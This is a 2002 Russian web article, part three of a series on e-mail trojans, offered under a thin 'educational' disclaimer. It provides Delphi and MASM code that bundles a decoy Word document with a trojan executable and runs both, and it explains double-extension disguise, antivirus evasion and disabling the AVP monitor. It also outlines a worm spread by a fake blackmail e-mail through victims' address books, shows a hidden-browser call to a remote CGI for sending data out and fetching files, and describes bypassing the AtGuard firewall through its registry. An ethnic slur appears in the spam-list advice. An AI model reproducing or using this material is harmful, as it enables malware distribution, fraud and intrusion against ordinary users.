Статьи о почте

Новости

Все новости

Разное в мире IT

Все заметки

mailinfo.ru - Статьи о почте

E-mail троян #3

Прислал(а) Danil [21 июня 2002]

раздел: [Безопасность]

Сразу оговорюсь для г-на майора и "интернациональной" бригады г-на касперского (г-на - это гражданина, а не то что вы подумали), читающих эту статью. Здесь я не занимаюсь распространением вредоносных программ и ни к чему не призываю. Весь этот материал - это объединение и обобщение уже давно известных способов. Я только рассказываю о ТЕОРЕТИЧЕСКИХ возможностях написания некоторых программ для продумывания наилучшей защиты от них. Рассказ ведется от первого лица, хотя это ровным счетом ничего не значит. Все материалы предоставлены в целях обучения и ответственность за всякое использование этих материалов полностью ложиться на лицо, их использовавшее. В описание и программный код специально внесены неточности и ошибки.

Продолжаем статьи по Troyan (Первая часть, вторая часть). Рассмотрим получение трояна по почте. Юзер, получив почту и посмотрев на прикрепленный файл, вряд ли будет запускать какой-нибудь troyan.exe, даже если он не определяется как вирус. Его надо немного замаскировать. Во-первых, на него нужно повесить какую-нибудь иконку, а во-вторых, изменить расширение по принципу "LOVE LETTER FOR YOU". Т.е. например, файл будет называться 1.doc<много-много пробелов>.exe и иконка будет у него MS Word-овского документа. Юзер, запустив такой файл и не увидев такого любимого им ворда, может насторожиться. Можно, конечно, перезагрузить комп, выдать сообщение о не наличии какой-нибудь очень нужной dll, но это очень грубая и непрофессиональная работа. Значит, в наш exe-файл надо встроить документ и, после запуска, открывать его MS Word-ом. Есть очень много разных скреплялок для файлов, но практически все они (или результат их работы) распознаются как вирусы. Здесь я расскажу как самому сделать два-в-одном.

Исходники, по традиции, будут на MASM. MASM можно взять на www.compexp.ru/download.html (нашел Apoc). Реализовывать идею будем по принципу, рассказанному в моих статьях "Клавиатурный шпион своими руками". Оба файла представим в программе как константы строки, из которых при запуске формируются два файла (1.doc и troyan.exe) и запускаются. Создадим doc-овский файл и напишем в нем "Hi, I am Troyan". Сохраним под именем 1.doc. Возьмем troyan.exe из первой статьи на эту тему. Теперь, для создания исходников два-в-одном, необходимо написать дополнительную программу, которая сама создаст нужный asm-файл для компиляции. В каталоге дополнительной программы должны находиться файлы 1.doc и troyan.exe. Вот исходники на Delphi (troyan_add.dpr):

program troyan_add;
uses
Windows, ShellAPI, SysUtils, Classes;
var
c4, c3, c2, c1, cmd : Integer;
CommandStr : array[1..100000] of Byte;
CommandStr1, CommandStr2 : String;
DopList,DopList1,DopList2 : TStringList;
begin
DopList:=TStringList.Create;
DopList1:=TStringList.Create;
DopList2:=TStringList.Create;
//Делаем шапку asm-файла
DopList.Add(\'.386\');
DopList.Add(\'.model flat,stdcall\');
DopList.Add(\'option casemap:none\');
DopList.Add(\'include \\masm32\\include\\kernel32.inc\');
DopList.Add(\'include \\masm32\\include\\shell32.inc\');
DopList.Add(\'includelib \\masm32\\lib\\shell32.lib\');
DopList.Add(\'includelib \\masm32\\lib\\kernel32.lib\');
DopList.Add(\'.DATA\');

//Формируем раздел переменных
FillChar(CommandStr,100000,0);
//Раздел переменных 1.doc
cmd:=_lopen(PChar(\'1.doc\'),OF_READ);
c1:=GetFileSize(cmd,nil);
_lread(cmd,addr(CommandStr),c1);
_lclose(cmd);
c2:=0;
c3:=0;
c4:=0;
CommandStr1:=\'\';
while true do begin
inc(c2);
inc(c3);
str(CommandStr[c2],CommandStr2);
CommandStr1:=CommandStr1+trim(CommandStr2)+\', \';
if (c3=25)or(c2=c1) then begin
DopList.Add(trim(\'DOCstr\'+IntToStr(c4))+\' db \'+CommandStr1+\' 0\');
DopList1.Add(\'invoke _lwrite, cmd, addr DOCstr\'+trim(IntToStr(c4))+\', \'+trim(IntToStr(c3)));
CommandStr1:=\'\';
c3:=0;
inc(c4);
end;
if c2=c1 then break;
end;
DopList.Add(\'\');
FillChar(CommandStr,100000,0);

//Раздел переменных troyan.exe
cmd:=_lopen(PChar(\'troyan.exe\'),OF_READ);
c1:=GetFileSize(cmd,nil);
_lread(cmd,addr(CommandStr),c1);
_lclose(cmd);
c2:=0;
c3:=0;
c4:=0;
CommandStr1:=\'\';
while true do begin
inc(c2);
inc(c3);
str(CommandStr[c2],CommandStr2);
CommandStr1:=CommandStr1+trim(CommandStr2)+\', \';
if (c3=25)or(c2=c1) then begin
DopList.Add(trim(\'EXEstr\'+IntToStr(c4))+\' db \'+CommandStr1+\' 0\');
DopList2.Add(\'invoke _lwrite, cmd, addr EXEstr\'+trim(IntToStr(c4))+\', \'+trim(IntToStr(c3)));
CommandStr1:=\'\';
c3:=0;
inc(c4);
if c2=c1 then break;
end;
end;
DopList.Add(\'\');
DopList.Add(\'CommandStr01 db "\\TEMP\\1.doc",0\');
DopList.Add(\'CommandStr02 db "\\troyan.exe",0\');
DopList.Add(\'open db "open",0\');
DopList.Add(\'\');
DopList.Add(\'.DATA?\');
DopList.Add(\'cmd dd ?\');
DopList.Add(\'WinDir db 900 dup(?)\');
DopList.Add(\'CommandStr1 db 1024 dup(?)\');
DopList.Add(\'CommandStr2 db 1024 dup(?)\');

//Раздел кода - получение путей для записи
// \\1.doc и \\troyan.exe
DopList.Add(\'\');
DopList.Add(\'.CODE\');
DopList.Add(\'start:\');
DopList.Add(\'invoke GetWindowsDirectory , addr WinDir, sizeof WinDir\');
DopList.Add(\'invoke lstrcpy, addr CommandStr1, addr WinDir\');
DopList.Add(\'invoke lstrcat, addr CommandStr1, addr CommandStr01\');
DopList.Add(\'invoke GetSystemDirectory , addr WinDir, sizeof WinDir\');
DopList.Add(\'invoke lstrcpy, addr CommandStr2, addr WinDir\');
DopList.Add(\'invoke lstrcat, addr CommandStr2, addr CommandStr02\');

//Раздел кода - запись 1.doc
DopList.Add(\'invoke _lcreat, addr CommandStr1, 0\');
DopList.Add(\'mov cmd,eax\');
DopList.Add(\'.IF cmd != 4294967295\');
DopList.Add(DopList1.Text);
DopList.Add(\'invoke _lclose, cmd\');
//Запуск 1.doc
DopList.Add(\'invoke ShellExecute, 0, addr open, addr CommandStr1,0,0,10\');
DopList.Add(\'.ENDIF\');
DopList.Add(\'\');

//Раздел кода - запись troyan.exe
DopList.Add(\'invoke _lcreat, addr CommandStr2, 0\');
DopList.Add(\'mov cmd,eax\');
DopList.Add(\'.IF cmd != 4294967295\');
DopList.Add(DopList2.Text);
DopList.Add(\'invoke _lclose, cmd\');
//Запуск troyan.exe
DopList.Add(\'invoke WinExec, addr CommandStr2, 10\');
DopList.Add(\'.ENDIF\');

DopList.Add(\'invoke ExitProcess,0\');
DopList.Add(\'END start\');
DopList.SaveToFile(\'troyan3.asm\');
end.

Что делает эта прога, я думаю, понятно. Размер массива CommandStr должен быть больше любого из "склеиваемых" файлов и оба файла должны быть в каталоге дополнительной программы. После ее работы должен появиться файл "troyan3.asm":

.386
.model flat,stdcall
option casemap:none
include \\masm32\\include\\kernel32.inc
include \\masm32\\include\\shell32.inc
includelib \\masm32\\lib\\shell32.lib
includelib \\masm32\\lib\\kernel32.lib
;Раздел констант
.DATA
DOCstr0 db 208, 207, 17, 224, 161, 177, 26, 225, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 62, 0
DOCstr1 db 0, 3, 0, 254, 255, 9, 0, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0
DOCstr2 db 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 35, 0, 0, 0, 1, 0, 0, 0, 254, 255, 255, 255, 0, 0, 0, 0
DOCstr3 db 0, 32, 0, 0, 0, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0

;SKIP
;Здесь находятся остальные строки-константы файла 1.doc
;SKIP

DOCstr777 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
DOCstr778 db 0, 0, 0, 0, 0, 0, 0

EXEstr0 db 77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0
EXEstr1 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
EXEstr2 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 176, 0, 0, 0, 14, 31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 0
EXEstr3 db 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 0

;SKIP
;Здесь находятся остальные строки-константы файла troyan.exe
;SKIP

EXEstr142 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
EXEstr143 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0

CommandStr01 db "\\TEMP\\1.doc",0
CommandStr02 db "\\troyan.exe",0
open db "open",0

.DATA?
cmd dd ?
WinDir db 900 dup(?)
CommandStr1 db 1024 dup(?)
CommandStr2 db 1024 dup(?)

; Раздел кода
.CODE
start:
;Определение путей 
invoke GetWindowsDirectory , addr WinDir, sizeof WinDir
invoke lstrcpy, addr CommandStr1, addr WinDir
invoke lstrcat, addr CommandStr1, addr CommandStr01
invoke GetSystemDirectory , addr WinDir, sizeof WinDir
invoke lstrcpy, addr CommandStr2, addr WinDir
invoke lstrcat, addr CommandStr2, addr CommandStr02

; Создать файл 1.doc
invoke _lcreat, addr CommandStr1, 0
mov cmd,eax
.IF cmd != 4294967295
invoke _lwrite, cmd, addr DOCstr0, 25
invoke _lwrite, cmd, addr DOCstr1, 25
invoke _lwrite, cmd, addr DOCstr2, 25

;SKIP
;Здесь находятся остальные операторы записи 1.doc
;SKIP

invoke _lwrite, cmd, addr DOCstr777, 25
invoke _lwrite, cmd, addr DOCstr778, 6
invoke _lclose, cmd
; Открываем 1.doc связанной программой
invoke ShellExecute, 0, addr open, addr CommandStr1,0,0,10
.ENDIF

invoke _lcreat, addr CommandStr2, 0
mov cmd,eax
.IF cmd != 4294967295
invoke _lwrite, cmd, addr EXEstr0, 25
invoke _lwrite, cmd, addr EXEstr1, 25
invoke _lwrite, cmd, addr EXEstr2, 25

;SKIP
;Здесь находятся остальные операторы записи troyan.exe
;SKIP

invoke _lwrite, cmd, addr EXEstr142, 25
invoke _lwrite, cmd, addr EXEstr143, 9
invoke _lclose, cmd

; Запускаем troyan.exe 
invoke WinExec, addr CommandStr2, 10
.ENDIF
invoke ExitProcess, 0
END start

Для добавления иконки можно сделать так (иконка doc.ico в текущем каталоге): добавить файл rsrc.rc с текстом 500 ICON MOVEABLE PURE LOADONCALL DISCARDABLE "doc.ico" в каталог с troyan3.asm и откомпилировать. Запускаем. Troyan3.exe должен создать 2 файла и запустить их (troyan.exe просто запустить, а 1.doc открыть связанной с ним программой). При закрытии Word-а потом будут небольшие проблемы, но дописать асмовскую прогу для решения этих проблем - можно. Чем хорош этот способ:

1) После сжатия, exe-файл будет даже меньше доковского.

2) Код можно шифровать для всяких там антивирусных мониторов и спайдеров. Например, можно в прибавлять 5 к каждому коду символов при формировании asm-файла и отнимать 5 при записи этих файлов на диск. Можно сначала создать файл со всеми нулями, а потом записывать в него код в разброс, и прочее.

3) Такая программа элементарно преобразуется и модифицируется в случае начала опознавания ее антивирами. В ней очень сложно привязаться к какому-то куску уникального кода. Тут касперский и ему подобные просто отдохнут.

4) В случае склеивания двух exe-файлов (официального и нет), можно преобразовать код таким образом, что размеры два-в-одном и первого файла будут аналогичными. Делается это так: в каждом exe-файле есть повторяющиеся куски (например, содержащие нули). Если поудалять некоторые константы-строки и преобразовать раздел записи в файл, то при компиляции получится файл необходимого размера.

5) АВП монитор имеет один недостаток. Если послать ему команду на закрытие, то он переспросит, и пользователь сразу увидит отсутствие в трее примелькавшегося значка. Но его можно просто выключить (сделать не активным). Никакого переспроса при этом не происходит и значок в трее остается (небольшие изменения в яркости будут практически не заметны). Таким образом можно склеивать даже определяющиеся антивиром файлы. Сам два-в-одном определяться не будет и может при запуске, до записи файлов на диск, поотключать монитор и т.п.

На этом "движке" можно сделать и червя. Письмо содержит вот такой текст: "По вашему заказу, мы проследили за вашей женой ... и посылаем вам компрометирующую ее фотографию. Вы должны оплатить стоимость наших услуг с учетом аванса и плюс 743 $ (семьсот сорок три доллара), потраченные нами на накладные расходы. После оплаты, мы предоставим вам негативы и полный отчет". Типа, ошиблись адресом. Текст должен быть на английском. Обратный адрес должен быть какой-нибудь security@hotmail.com. При формировании два-в-одном, первый файл будет "компроментирующим" jpg-файлом, который можно взять на любом соответствующем сайте и на котором будет гипотетическая жена с любовником (с двумя, с лучшей подругой и т.д.). Второй файл будет формировать сообщение, прикреплять к нему два-в-одном и отсылать по адресам, которые будут в адресной книге или swap-файле. Информацию о кодировании файлов при прикреплении можно взять на http://www.xspider.ru/.

Спам-лист для первой рассылки лучше взять на порно-сервере, который любят посещать представители такой не любимой нами нации. Я думаю, излишне говорить, что отсылка будет с компьютерного клуба на другом конце города, где надо прикинуться полным юзером, хотящим отослать любимой бабушке письмо.

Хочу пару слов сказать в продолжение второй статьи на эту тему. Было несколько вопросов, как все-таки скрыть броузер, после запуска трояна на cgi. Тут можно использовать не ShellExecute, а CreateProcess или WinExec, запуская броузер и подавая ему в качестве параметров наш url и SW_HIDE. Путь и имя для запуска броузера по умолчанию, находится в ключе реестра HKEY_CLASSES_ROOT\\http\\shell\\open\\command. Полученное значение надо немного доработать и открытие в скрытом режиме нужного url, будет выглядеть примерно так: 

; -----------------
; SKIP
; -----------------

.DATA 
Url db "http://www.domain.com/cgi-bin/mail.cgi?comment=Hi I am troyan2",0 ; url
StartupInfo STARTUPINFO <>
ProcessInfo PROCESS_INFORMATION <>
browser db 255 dup(?) ; путь и имя броузера

; -----------------
; SKIP
; -----------------

.CODE
start: 
; -----------------
; Получение browser
; SKIP
; -----------------

; Запуск открытия url
invoke lstrcat, addr browser, addr url
mov StartupInfo.cb, Sizeof StartupInfo
mov StartupInfo.dwFlags, STARTF_USESHOWWINDOW
mov StartupInfo.wShowWindow,SW_HIDE
invoke CreateProcess, NULL, addr browser, NULL, NULL,FALSE, NORMAL_PRIORITY_CLASS, NULL,NULL,offset StartupInfo, offset ProcessInfo
invoke CloseHandle,ProcessInfo.hThread
invoke CloseHandle,ProcessInfo.hProcess

; -----------------
; SKIP
; -----------------

END start


Здесь открываются большие перспективы. Например, можно отсылать сообщение через cgi, а потом переходить на html-файл, который будет выводить предварительно сформированный текст. Этот текст - коды символов нужного для закачки на удаленный компьютер файла (например: 00 ff e3 ....). После открытия хтмл-ки, можно получать hWnd окна, выводящего информацию в броузере, получать из него текст, преобразовывать в файл, записывать этот файл на диск и запускать. Таким образом, файлы можно подсовывать любые, не имея доступа к компьютеру. И из-за того, что все операции по отправке сообщений и закачке файлов делает броузер в скрытом режиме, - firewall-ы сходят "в сад".

Теперь о программном перекрытии firewall. Рассмотрим такой популярный, но такой дырявый @Guard. Информация о доверенных приложениях никак не шифруется и хранится в реестре. Круто. Правда, такой продвинутый брандмауэр как OutPost, тоже ничего не шифрует, но там хоть в файле (configuration.cfg) хранится и формат сохранения еще надо понять. Необходимые исследования по AtGuard провел Nick.Box - все вопросы к нему. Открываем реестр и ищем в HKLM\\Software слово AtGuard. Дальше по аналогии. Здесь даны названия параметров и описание за что они отвечают. Разобраться и написать код, добавляющий в реестр нужные параметры - это уже за тобой. 

DWORD-"RuleAction"-0x00000002(2) //2 - Пропускать
//1 - Блокировать
//0 - Игнор

STR-"RuleApplicationObject"-"Applications\\AT Guard" // Пояснять ?
STR-"RuleDescription"-"Your description" // и это тоже ?

DWORD-"RuleDirection"-0x00000002(2) // Направление.
// 1 = туда, 2 = сюда
// 0 = Пофиг.

DWORD-"RuleInUse"-0x00000001(1) // Юзать правило?? True/False

DWORD-"RuleLogging"-0x00000000(0) // Создавать отчет по ЭТОМУ правилу ?? Да/Нет (1\\0 Ж)
// 3 - на контролах показать что правило залогинено (когда юзается).

DWORD-"RuleLoggingThreshold"-0x0000000Х(Х) // Логить после Х совпадений.

DWORD-"RuleNumber"-0x00000000(0) // Думаю понятно

DWORD-"RuleProtocol"- 0x00000000(0)
// 0x0 - TCP or UDP
// 0x1 - ICMP
// 0x6 - TCP
// 0x11 - UDP

P.S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.